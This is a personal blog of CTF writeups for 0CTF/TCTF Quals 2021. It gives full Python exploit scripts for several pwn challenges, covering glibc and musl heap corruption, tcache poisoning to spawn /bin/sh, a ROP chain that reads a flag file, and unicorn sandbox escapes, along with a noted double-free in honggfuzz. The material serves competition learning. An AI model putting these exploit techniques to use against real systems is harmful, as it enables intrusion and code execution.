CTFするぞ

CTF以外のことも書くよ

0CTF/TCTF Quals 2021 Writeups

What is heap? I don't know.

Anyways I guess we're qualified to the Finals. I want to play it if I can play it onsite. Please open the border as soon as possible, Suga-san🙏🙏🙏🙏

[pwn 154pts] ListBook (61 solves)

The vulnerability is just a "-INT_MIN=INT_MIN" bug. It leads to double free or read after free. I don't understand the glibc memory allocator but something named smallbin worked for my exploit.

from ptrlib import *
import re

def add(name, data):
    assert len(name) <= 0x10 and len(data) <= 0x200
    sock.sendlineafter(">>", "1")
    if len(name) == 0x10:
        sock.sendafter("name>", name)
    else:
        sock.sendlineafter("name>", name)
    if len(data) == 0x200:
        sock.sendafter("content>", data)
    else:
        sock.sendlineafter("content>", data)

def delete(index):
    sock.sendlineafter(">>", "2")
    sock.sendlineafter("index>", str(index))

def show(index):
    sock.sendlineafter(">>", "3")
    sock.sendlineafter("index>", str(index))
    r = []
    while True:
        l = sock.recvline()
        if l == b'1.add': break
        if l == b'empty': break
        ll = re.findall(b"(.*) => (.*)", l)
        r.append(ll[0])
    return r

def calc_hash(s):
    if isinstance(s, str):
        s = str2bytes(s)
    v = sum([c for c in s])
    if v > 0x7f:
        v = (0xff ^ v) + 1
    return v % 16

libc = ELF("./libc-2.31.so")
#sock = Process("./listbook")
sock = Socket("nc 111.186.58.249 20001")

# Leak heap pointer
add("A"*0x10, "A"*0x100)
add("B"*0x10, "B"*0x100)
heap_base = u64(show(calc_hash("A"*0x10))[0][0][0x10:]) - 0x2a0
logger.info("heap = " + hex(heap_base))
delete(calc_hash("A"*0x10))
delete(calc_hash("B"*0x10))

# Leak libc pointer
for i in range(7):
    add("\x01", "1"*0x100)
add("\x00", "0"*0x100)
add("\x02", "2"*0x100)
add("\x0f", "F"*0x100) # do not consolidate with top
delete(calc_hash("\x01"))
delete(calc_hash("\x02"))
delete(calc_hash("\x00"))
add("\x80", "Z") # vuln
libc_base = u64(show(calc_hash("\x00"))[0][1]) - libc.main_arena() - 0x260
logger.info("libc = " + hex(libc_base))
libc.set_base(libc_base)

# Consume unsorted bin
for i in range(0xa):
    add("\x03", "3"*0x100)
    delete(calc_hash("\x03"))

# bucket[0][0]->data == bucket[3][0]
add("\x03", "3"*0x100)
delete(calc_hash("\x00"))
# bucket[4][0] == bucket[3][0], and bucket[4][0]->data == bucket[3][0]->data
add("\x04", "4"*0x100)

# Use up tcache
for i in range(8):
    add("\x05", "5"*0x100) # fill tcache + 1 unsorted bin
delete(calc_hash("\x05"))

delete(calc_hash("\x03"))  # link to smallbin (victim)
for i in range(7):
    add("\x06", "6"*0x100) # use up tcache
delete(calc_hash("\x04"))  # link to tcache (victim)

# Overwrite smallbin link
addr_payload = heap_base + 0x7a0
payload  = p64(0xdeadbeef) +  p64(addr_payload + 0x20)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload) + p64(addr_payload + 0x40)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0x20) + p64(addr_payload + 0x60)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0x40) + p64(addr_payload + 0x80)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0x60) + p64(addr_payload + 0xa0)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0x80) + p64(addr_payload + 0xc0)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0xa0) + p64(addr_payload + 0xe0)
payload += p64(0) + p64(0x211)
payload += p64(addr_payload + 0xc0) + p64(addr_payload + 0x100)
add("\x03", payload)

# tcache poisoning
payload  = b'A' * 0xe0
payload += p64(libc.symbol("__free_hook") - 8)
add("\x07", payload)

# win
add("\x07", "X")
add("\x0e", b"/bin/sh\0" + p64(libc.symbol("system")))
delete(calc_hash("\x0e"))

sock.interactive()

[pwn 200pts] uc_masteeer (45 solves)

Unicorn pwn challenge. There's a simple backdoor that only the admin can use. The admin code calls a modifiable function pointer and you can just change it to take the control.

from ptrlib import *

code = nasm("""
mov rax, 0xdeadbeef000 ; ret2beef
mov rdi, 0xbabecafe000 ; [CODE]
mov [rdi], rax
""", bits=64)

#sock = Process(["python", "uc_masteeer.py"])
sock = Socket("nc 111.186.59.29 10087")

sock.send(code)
sock.sendlineafter("?: ", "2")
sock.sendlineafter("(y/[n])", "y")
sock.sendlineafter("?: ", "1")

# AAW time
evil = nasm("""
mov edx, 0x40
mov rsi, 0xbabecafe300
xor edi, edi
xor eax, eax
syscall
mov rax, 0xbabecafe300
mov rdi, 0xbabecafe233
mov [rdi], rax
""", bits=64)
evil += b'\x90' * (0x80 - len(evil))
# Fix code
sock.sendlineafter("?: ", "3")
sock.sendafter("addr: ", p64(0xdeadbeef000 + 0x1000))
sock.sendafter("size: ", p64(0x80))
sock.sendafter("data: ", evil)

# Fix code pointer
sock.sendlineafter("?: ", "3")
sock.sendafter("addr: ", p64(0xbabecafe000))
sock.sendafter("size: ", p64(8))
sock.sendafter("data: ", p64(0xdeadbeef000 + 0x1000))

# GO
cmd = "/bin/sh;"
sock.sendlineafter("?: ", "2")
sock.send("k33nlab" + cmd)

sock.interactive()

First blood.

[pwn 550pts] uc_goood (10 solves)

The function pointer is no longer modifiable. The bug exists in the initialization code to hook the admin code.

uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)

This code hooks the instruction not only at admin_offset but also at admin_offset+1. The instruction at admin_offset+1 interprets to the following machine code:

 deadbeef067:   12 00                   adc    al, BYTE PTR [rax]
 deadbeef069:   00 00                   add    BYTE PTR [rax], al
 deadbeef06b:   48 8d 15 35 01 00 00    lea    rdx, [rip+0x135]        # 0xdeadbeef1a7
 deadbeef072:   be 01 00 00 00          mov    esi, 0x1
...

add BYTE PTR [rax], al looks good because it corrupts a byte in the memory. My first goal was to directly corrupt the following instruction without crash so that the backdoor won't be executed:

 deadbef0028:   48 a3 33 e2 af ec ab    movabs ds:0xbabecafe233, rax

Because of the adc al, BYTE PTR [rax] instruction, however, I couldn't find any address that corrupts the target directly.

After some attempts, I found setting rax to 0xdeadbef0028 corrupts a byte in the syscall function.

 deadbef0043:   48 89 f8                mov    rax, rdi
 deadbef0046:   48 89 f7                mov    rdi, rsi
 deadbef0049:   48 89 d6                mov    rsi, rdx
 deadbef004c:   48 89 ca                mov    rdx, rcx
 deadbef004f:   4d 89 c2                mov    r10, r8
 deadbef0052:   4d 89 59 4c             mov    QWORD PTR [r9+0x4c], r11
 deadbef0056:   8b 4c 24 08             mov    ecx, DWORD PTR [rsp+0x8]
 deadbef005a:   0f 05                   syscall 
 deadbef005c:   c3                      ret

mov QWORD PTR [r9+0x4c], r11 is a good AAW primitive. Since both r9 and r11 are not used in the admin code, we can take advantage of this primitive to corrupt the backdoor routine.

from ptrlib import *

code = nasm("""
mov r9, 0xdeadbef002a - 0x4c
mov r11, 0xbabecafe000
push r9
push r9
push r9
push r9
; generate
;  mov QWORD [r9+0x4c], r11
;  mov ecx, DWORD [rsp+8]
mov rax, 0xdeadbef009d
mov rdi, 0xdeadbeef067
jmp rdi
""", bits=64, org=0)
if code is None:
    exit(1)

#sock = Process(["python", "uc_goood.py"])
sock = Socket("nc 111.186.59.29 10088")

# pwn
sock.send(code)
sock.sendlineafter("?: ", "2")
#code = bytes.fromhex(bytes2str(sock.recvlineafter("CODE: "))) # debug
sock.sendlineafter("(y/[n])", "y")

# aaw
code = nasm("""
lea rsi, [rel cmd]
mov rdi, 0xbabecafe233
mov QWORD [rdi], rsi
hlt
cmd:
db "k33nlab/bin/sh", 0
""", bits=64)
sock.sendlineafter("?: ", "3")
sock.sendafter("addr: ", p64(0xdeadbef0000))
sock.sendafter("size: ", p64(len(code)))
sock.sendafter("data: ", code)

# go
sock.sendlineafter("?: ", "2")

sock.interactive()

[pwn 392pts] BabyHeap 2021 (18 solves)

Integer overflow (?) in the update function. It checks if the size is negative in int64_t but the data reader checks the maximum size in int32_t. Finally the reader function iterates the loop by uint32_t. It's obviously vulnerable to heap overflow.

I don't understand musl memory allocator as well as glibc malloc but I could overwrite a vtable pointer just by abusing the unlink thing. We need to do ROP because of seccomp. This is not a problem at all because we have enough JOP gadgets in the musl library.

from ptrlib import *

def allocate(size, data):
    assert len(data) < size
    sock.sendlineafter(": ", "1")
    sock.sendlineafter(": ", str(size))
    if size == len(data) + 1:
        sock.sendafter(": ", data)
    else:
        sock.sendlineafter(": ", data)

def update(index, size, data):
    assert len(data) < size
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    if size == len(data) + 1:
        sock.sendafter(": ", data)
    else:
        sock.sendlineafter(": ", data)

def delete(index):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter(": ", str(index))

def view(index):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(index))
    return sock.recvlineafter(": ")

#sock = Process("./babyheap")
sock = Socket("111.186.59.11", 11124)

# Leak libc address
allocate(0x10, "A") # 0
allocate(0x10, "B") # 1
allocate(0x30, "C") # 2
allocate(0x10, "D") # 3
allocate(0x30, "E") # 4
allocate(0x10, "F") # 5
payload  = b'A' * 0x10
payload += p64(0x21) + p64(0x41)
payload += b'B' * 0x10
payload += p64(0x21) + p64(0x41)
payload += b'C' * 0x10
payload += p64(0x41) + p64(0x21)
update(0, 0xffffffff, payload[:-1])
delete(1)
payload  = b'B' * 0x10
payload += p64(0x21) + p64(0x41)
payload += b'C' * 0xf
allocate(0x30, payload) # 1
delete(2)
delete(4)
addr_heap = u64(view(1)[0x20:0x28]) - 0xb0
libc_base = u64(view(1)[0x28:0x30]) - 0xb0a58
logger.info("heap = " + hex(addr_heap))
logger.info("libc = " + hex(libc_base))
delete(5)
allocate(0x30, "C")     # 2

# Unlink attack
rop_mov_rsp_rdx_mov_rdx_prdi38h_jmp_rdx = libc_base + 0x00078d28
rop_ret = libc_base + 0x00015292
addr_vtable = libc_base + 0xb2f58
allocate(0x10, "4"*8) # 4
allocate(0x10, "5"*8) # 5
allocate(0x30, "6"*8) # 6
allocate(0x10, "7"*8) # 7
addr_payload = addr_heap + 0x160
payload  = b'./flag\0'
payload += b"A" * (0x38 - len(payload))
payload += p64(rop_ret)
payload += b"A" * (0x50 - len(payload))
payload += p64(rop_mov_rsp_rdx_mov_rdx_prdi38h_jmp_rdx) # (1) rip
payload += b"A" * 0xf8
payload += p64(addr_payload) # (1) rdi
allocate(0x200, payload)
delete(4)
delete(6)
payload  = b'5'*0x10
payload += p64(0x21) + p64(0x40)
payload += p64(addr_vtable - 0x18)
update(5, 0xffffffff, payload[:-1])
allocate(0x30, "X") # 4 (vtable = arena[1]-0x10 = arena[0]->bk)

# Prepare ROP chain
rop_pop_rdi = libc_base + 0x00015291
rop_pop_rsi = libc_base + 0x0001d829
rop_pop_rdx = libc_base + 0x0002cdda
rop_pop_rax = libc_base + 0x00016a16
rop_xchg_eax_edi = libc_base + 0x000303ed
rop_syscall = libc_base + 0x00023720
payload  = b'D' * 0x10
payload += flat([
    rop_pop_rdi, addr_payload,
    rop_pop_rsi, 0,
    rop_pop_rax, SYS_open['x64'],
    rop_syscall, # open("./flag", 0)
    rop_xchg_eax_edi,
    rop_pop_rsi, addr_heap,
    rop_pop_rdx, 0x100,
    rop_pop_rax, SYS_read['x64'],
    rop_syscall, # read(fd, buf, 0x100)
    rop_pop_rdi, 1,
    rop_pop_rax, SYS_write['x64'],
    rop_syscall, # write(1, buf, 0x100)
], map=p64)
update(3, 0xffffffff, payload[:-1])

sock.sendlineafter(": ", "5")

sock.interactive()

First blood!

[pwn 687pts] how2mutate (6 solves)

The program uses honggfuzz library by Google.

One clear bug is the race condition in the program. The fuzzing runs in a thread while we can nullify some pointers used by the thread, which causes null pointer dereference. I don't think it's exploitable.

The another vulnerability exists in the memory allocation utility in the library.

void* util_Realloc(void* ptr, size_t sz) {
    void* ret = realloc(ptr, sz);
    if (ret == NULL) {
        PLOG_W("realloc(%p, %zu)", ptr, sz);
        free(ptr);
        return NULL;
    }
    return ret;
}

It's obvious double free happens whenever sz is zero. This might sound like a little 0-day but actually I guess the author assumes sz will never be zero by specification. (Although I couldn't find any documents stating sz can never be zero, it's natural to assume such constraints in the context of mutation.) The honggfuzz developers are not to blame. This is absolutely because of the sh*tty design of glibc realloc. Why the hell are we responsible for checking the size and otherwise generates a bug this easy?

Double free is always detected in glibc and this doesn't look useful. However, the logger function (PLOG_W) allocates/frees some data inside it. If we prepare the initial tcache state properly, it somehow links one into smallbin and another into tcache. It depends on the locale of the machine running the program, so I checked how many chunks go into tcache on remote by some exception-based observation.

Again I'm not familiar with glibc malloc and I don't know what I did. It looks like I used the same technique as the one I used in ListBook. (I just usually use gdb to bypass the "security lol" mitigations. No more House of Sh*t.)

from ptrlib import *
import random

def add(size, data=None):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(size))
    if data:
        sock.sendafter(": ", data)
def mutate(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
def show():
    sock.sendlineafter("> ", "3")
def delete(index):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(": ", str(index))
def set_mutate(mpr):
    sock.sendlineafter("> ", "5")
    sock.sendlineafter(": ", str(mpr))
def run_thread():
    sock.sendlineafter("> ", "6")

DEBUG = False
#COUNT = 3 # local
#COUNT = 4 # local docker
COUNT = 7 # remote

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

#sock = Process("./how2mutate")
sock = Socket("nc 111.186.59.27 12345")
#sock = Socket("0.0.0.0", 9999)

# kasu
logger.info("Heap Feng Shui 1")
for i in range(7):
    add(0x90, "A")
logger.info("Heap Feng Shui 1.5")
for i in range(7):
    delete(i)
logger.info("Heap Feng Shui 2")
for i in range(7):
    add(0xc0, "B")
logger.info("Heap Feng Shui 2.5")
for i in range(7):
    delete(i)

# Double free
logger.info("Triggering double free...")
set_mutate(0) # no mutate
add(0) # 0
logger.info("Heap Feng Shui 3")
for i in range(7):
    add(0x10, "AAAAAAAA") # 1-7
logger.info("Heap Feng Shui 3.5")
for i in range(1, 8):
    delete(i)
mutate(0) # double free
set_mutate(1)

# added
add(0x820, "YYYY") # 0
add(0x20, "YYYY") # 1
delete(0)
delete(1)

# Libc leak
logger.info("Leaking libc")
logger.info("Heap Feng Shui 4")
for i in range(8):
    add(0x97, "A"*0x97) # 0-7
logger.info("Heap Feng Shui 4.5")
for i in range(8):
    delete(i)
while True:
    logger.info("May the odds be ever in your favor")
    add(0xa0-1, "A" * 0x9f) # 0
    mutate(0)
    show()
    leak = sock.recvline()[3:]
    if len(leak) > 0xa0:
        print(leak[0xa0:])
        libc_base = (u64(leak[0xa0:]) & 0xfffffffffffff000) - 0x1eb000
        break
    delete(0)
delete(0)
logger.info("libc = " + hex(libc_base))
if DEBUG:
    libc_base = 0x7ffff7ad2000 # DEBUG
if not (0x700000000000 < libc_base < 0x7fffffffffff):
    logger.warning("Bad luck!")
    exit(1)

# Heap leak
logger.info("Heap Feng Shui 5")
add(0xc7, "A"*0xc7) # 0
add(0xc7, "B"*0xc7) # 1
add(0xc7, "C"*0xc7) # 2
add(0xc7, "D"*0xc7) # 3
for i in range(4, 10):
    add(0xc7, "A"*0xc7) # 4-9
logger.info("Heap Feng Shui 5.5")
delete(0)
for i in range(4, 10):
    delete(i)
delete(3)
delete(1)
delete(2)
while True:
    logger.info("May the odds be ever in your favor")
    add(0x1a0-1, "Z"*0x19f) # 0
    mutate(0)
    show()
    leak = sock.recvline()[3:]
    if len(leak) > 0x1a0:
        print(leak[0x1a0:])
        addr_heap = (u64(leak[0x1a0:]) & 0xfffffffffffff000)
        break
    delete(0)
delete(0)
if addr_heap & 0xf000 == 0xa000:
    addr_heap -= 0x1000
logger.info("heap = " + hex(addr_heap))
if DEBUG:
    addr_heap = 0x555555b69000 # DEBUG
if not (0x500000000000 < addr_heap < 0x5fffffffffff):
    logger.warning("Bad luck!")
    exit(1)

# Prepare
logger.info("Smallbin attack...")
addr_payload = addr_heap - 0x150
payload  = p64(0xcafe) + p64(0x21)
payload += p64(addr_heap - 0x260) + p64(addr_payload + 0x20)
payload += p64(0xcafe) + p64(0x21)
payload += p64(addr_payload + 0x20) + p64(addr_payload + 0x40)
payload += p64(0xcafe) + p64(0x21)
payload += p64(addr_payload + 0x40) + p64(addr_payload + 0x60)
payload += p64(0xcafe) + p64(0x21)
payload += p64(addr_payload + 0x60) + p64(addr_payload + 0x80)
payload += p64(0xcafe) + p64(0x21)
payload += p64(addr_payload + 0x80) + p64(addr_payload + 0xa0)
payload += p64(0xcafe) + p64(0x21)
payload += p64(addr_payload + 0xa0) + p64(addr_heap - 0xc70)
add(0x1d0, payload) # 0

# Smallbin pon pon
add(0x10, p64(libc_base + 0x1ebbf0) + p64(addr_payload)) # 1

# Empty tcache
counter = 1
for i in range(COUNT):
    add(0x10, "legoshi") # 2-N
    counter += 1

# korosuke
add(0x10, "legoshi") # N+1
delete(0)

# Tcache corruption
logger.info("Tcache corruption...")
add(0x10, p64(libc_base + libc.symbol("__free_hook"))) # 0
for i in range(1, 3):
    delete(i) # make some space
add(0x90, "/bin/sh\0") # 0 == 1
add(0x90, p64(libc_base + libc.symbol("system"))) # 1

# WIN
delete(1)

sock.interactive()

Second blood.

Other tasks I got involved in

[misc 275pts] uc_baaaby (30 solves)

nyanko先生 wrote the MD5 algorithm part. Another obstacle of this task is that we have to reach the end of the program within hundreds of executions without any branch instructions.

A machine code of x86/x64, by specification, can be infinitely long by adding the prefix. Too long instruction (15-byte afair) is usually killed by the CPU but unicorn doesn't check the length. So, we can make one instruction super long. For example,

data16 data16 ...<100 times>... data16 data16 mov bp, sp

is ONE instruction but the length is more than 100 bytes.

[rev 550pts] FA51R_RE (10 solves)

x0r19x91師匠 precisely reverse engineered the binary. I converted it into Python and tried finding the solution.

I'm really bad at algorithm and I had no idea how to solve it. I barely have learned game AI programming before and could write the following heuristic function.

def score(a, b):
    v = a | b
    r = 0
    if a & b == 0:
        r += 8
    if a & b == b and score(0, a) != 0:
        r += 8
    if v == 0x1111: r += 100
    if v & 0x1111 == 0x1111: r += 1
    if v == 0x2222: r += 100
    if v & 0x2222 == 0x2222: r += 1
    if v == 0x4444: r += 100
    if v & 0x4444 == 0x4444: r += 1
    if v == 0x8888: r += 100
    if v & 0x8888 == 0x8888: r += 1
    if v == 0x000f: r += 100
    if v & 0x000f == 0x000f: r += 1
    if v == 0x00f0: r += 100
    if v & 0x00f0 == 0x00f0: r += 1
    if v == 0x0f00: r += 100
    if v & 0x0f00 == 0x0f00: r += 1
    if v == 0xf000: r += 100
    if v & 0xf000 == 0xf000: r += 1
    return r

def find_best_move_one(correct, w):
    x, y, z = 0, 0, w
    best_score = score(correct, w)
    for i in range(4):
        w = rotl16(w, 4)
        for j in range(4):
            w = magic_2(w)
            r = score(correct, w)
            if r > best_score:
                best_score = r
                x, y, z = (i+1)%4, (j+1)%4, correct | w
    v = ([0,1,3,7][x] << 4) | [0,1,3,7][y]
    if v == 0:
        v == 0xff
    return v, z

def find_best_move(w):
    for i in range(1, 6):
        if g_Masks[i] == 0: continue
        return find_best_move_one(g_Masks[i], w)
    return find_best_move_one(g_Masks[5], w)

Fortunately this shitty code I wrote, right after I woke up and 2h before the end of the CTF, sometimes worked (in less than 10% possibility).

After the competition ends, I read the source code in the official repository and it turned out the program was actually Tetris.